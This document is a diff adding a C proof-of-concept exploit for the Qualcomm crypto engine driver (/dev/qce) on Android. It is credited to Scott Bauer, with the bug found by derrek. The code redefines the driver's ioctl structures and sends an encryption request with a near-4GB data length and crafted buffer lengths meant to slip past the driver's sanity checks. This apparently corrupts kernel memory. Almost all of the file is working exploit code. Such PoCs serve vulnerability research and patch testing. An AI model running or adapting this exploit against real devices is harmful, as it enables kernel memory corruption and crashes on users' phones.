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| 1 | +#include <stdlib.h> |
| 2 | +#include <stdio.h> |
| 3 | +#include <unistd.h> |
| 4 | +#include <sys/ioctl.h> |
| 5 | +#include <sys/types.h> |
| 6 | +#include <sys/stat.h> |
| 7 | +#include <sys/mman.h> |
| 8 | +#include <fcntl.h> |
| 9 | +#include <limits.h> |
| 10 | +#include <inttypes.h> |
| 11 | + |
| 12 | + |
| 13 | +/* |
| 14 | + * PoC By Scott Bauer |
| 15 | + * Bug found by derrek |
| 16 | + */ |
| 17 | + |
| 18 | + |
| 19 | +static const char *dev = "/dev/qce"; |
| 20 | + |
| 21 | +#define QCEDEV_MAX_KEY_SIZE 64 |
| 22 | +#define QCEDEV_MAX_IV_SIZE 32 |
| 23 | +#define QCEDEV_MAX_BUFFERS 16 |
| 24 | + |
| 25 | + |
| 26 | +struct buf_info { |
| 27 | + union { |
| 28 | + uint32_t offset; |
| 29 | + uint8_t *vaddr; |
| 30 | + }; |
| 31 | + uint32_t len; |
| 32 | +}; |
| 33 | +struct qcedev_vbuf_info { |
| 34 | + struct buf_info src[QCEDEV_MAX_BUFFERS]; |
| 35 | + struct buf_info dst[QCEDEV_MAX_BUFFERS]; |
| 36 | +}; |
| 37 | + |
| 38 | +struct qcedev_pmem_info { |
| 39 | + int fd_src; |
| 40 | + struct buf_info src[QCEDEV_MAX_BUFFERS]; |
| 41 | + int fd_dst; |
| 42 | + struct buf_info dst[QCEDEV_MAX_BUFFERS]; |
| 43 | +}; |
| 44 | + |
| 45 | +enum qcedev_oper_enum { |
| 46 | + QCEDEV_OPER_DEC = 0, |
| 47 | + QCEDEV_OPER_ENC = 1, |
| 48 | + QCEDEV_OPER_DEC_NO_KEY = 2, |
| 49 | + QCEDEV_OPER_ENC_NO_KEY = 3, |
| 50 | + QCEDEV_OPER_LAST |
| 51 | +}; |
| 52 | + |
| 53 | +enum qcedev_cipher_alg_enum { |
| 54 | + QCEDEV_ALG_DES = 0, |
| 55 | + QCEDEV_ALG_3DES = 1, |
| 56 | + QCEDEV_ALG_AES = 2, |
| 57 | + QCEDEV_ALG_LAST |
| 58 | +}; |
| 59 | + |
| 60 | +enum qcedev_cipher_mode_enum { |
| 61 | + QCEDEV_AES_MODE_CBC = 0, |
| 62 | + QCEDEV_AES_MODE_ECB = 1, |
| 63 | + QCEDEV_AES_MODE_CTR = 2, |
| 64 | + QCEDEV_AES_MODE_XTS = 3, |
| 65 | + QCEDEV_AES_MODE_CCM = 4, |
| 66 | + QCEDEV_DES_MODE_CBC = 5, |
| 67 | + QCEDEV_DES_MODE_ECB = 6, |
| 68 | + QCEDEV_AES_DES_MODE_LAST |
| 69 | +}; |
| 70 | + |
| 71 | +struct qcedev_cipher_op_req { |
| 72 | + uint8_t use_pmem; |
| 73 | + union { |
| 74 | + struct qcedev_pmem_info pmem; |
| 75 | + struct qcedev_vbuf_info vbuf; |
| 76 | + }; |
| 77 | + uint32_t entries; |
| 78 | + uint32_t data_len; |
| 79 | + uint8_t in_place_op; |
| 80 | + uint8_t enckey[QCEDEV_MAX_KEY_SIZE]; |
| 81 | + uint32_t encklen; |
| 82 | + uint8_t iv[QCEDEV_MAX_IV_SIZE]; |
| 83 | + uint32_t ivlen; |
| 84 | + uint32_t byteoffset; |
| 85 | + enum qcedev_cipher_alg_enum alg; |
| 86 | + enum qcedev_cipher_mode_enum mode; |
| 87 | + enum qcedev_oper_enum op; |
| 88 | +}; |
| 89 | + |
| 90 | +#define QCEDEV_IOC_MAGIC 0x87 |
| 91 | + |
| 92 | +#define QCEDEV_IOCTL_ENC_REQ \ |
| 93 | + _IOWR(QCEDEV_IOC_MAGIC, 1, struct qcedev_cipher_op_req) |
| 94 | +#define QCEDEV_IOCTL_DEC_REQ \ |
| 95 | + _IOWR(QCEDEV_IOC_MAGIC, 2, struct qcedev_cipher_op_req) |
| 96 | + |
| 97 | + |
| 98 | + |
| 99 | +void thread_func(unsigned int start, unsigned int end, int fd) |
| 100 | +{ |
| 101 | + struct qcedev_cipher_op_req req = { 0 }; |
| 102 | + unsigned int i; |
| 103 | + char *data; |
| 104 | + |
| 105 | + data = mmap(NULL, 0xFFFFFF * 3, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE|MAP_POPULATE, -1, 0); |
| 106 | + if (data == MAP_FAILED) { |
| 107 | + printf("mmap failed, get a better phone\n"); |
| 108 | + exit(0); |
| 109 | + } |
| 110 | + for (i = 0; i < 0xFFFFFF * 3; i += sizeof(void*)) |
| 111 | + *((unsigned long *)(data + i)) = 0xABADACC355001337; |
| 112 | + |
| 113 | + |
| 114 | + req.in_place_op = 1; |
| 115 | + /* setup the parameters to pass a few sanity checks */ |
| 116 | + req.entries = 2; |
| 117 | + req.byteoffset = 15; |
| 118 | + req.mode = QCEDEV_AES_MODE_CTR; |
| 119 | + |
| 120 | + req.op = QCEDEV_OPER_ENC;//_NO_KEY; |
| 121 | + req.ivlen = 1; |
| 122 | + req.data_len = 0xFFFFFFFE; |
| 123 | + req.vbuf.src[0].len = 4; |
| 124 | + req.vbuf.src[1].len = 0xFFFFFFFE - 4; |
| 125 | + req.vbuf.src[0].vaddr = (uint8_t*)data; |
| 126 | + req.vbuf.src[1].vaddr = (uint8_t*)data; |
| 127 | + req.vbuf.dst[0].len = 4; |
| 128 | + req.vbuf.dst[1].len = 0xFFFFFFFE - 4; |
| 129 | + req.vbuf.dst[0].vaddr = (uint8_t*)data; |
| 130 | + req.vbuf.dst[1].vaddr = (uint8_t*)data; |
| 131 | + |
| 132 | + |
| 133 | + ioctl(fd, QCEDEV_IOCTL_ENC_REQ, &req); |
| 134 | + |
| 135 | + printf("exiting\n"); |
| 136 | + exit(0); |
| 137 | +} |
| 138 | + |
| 139 | +int main(void) |
| 140 | +{ |
| 141 | + int fd; |
| 142 | + unsigned int i; |
| 143 | + unsigned int start = 0; |
| 144 | + unsigned int _gap = ~0; |
| 145 | + unsigned int gap = _gap / 8; |
| 146 | + struct qcedev_cipher_op_req req = { 0 }; |
| 147 | + //char data[32] = { A }; |
| 148 | + char *data; |
| 149 | + fd = open(dev, O_RDWR); |
| 150 | + if (fd < 0) { |
| 151 | + printf("Failed to open %s with errno %s\n", dev, |
| 152 | + strerror(errno)); |
| 153 | + return EXIT_FAILURE; |
| 154 | + |
| 155 | + } |
| 156 | + thread_func(start, start + gap, fd); |
| 157 | + |
| 158 | + sleep(1000000); |
| 159 | + return EXIT_FAILURE; |
| 160 | +} |
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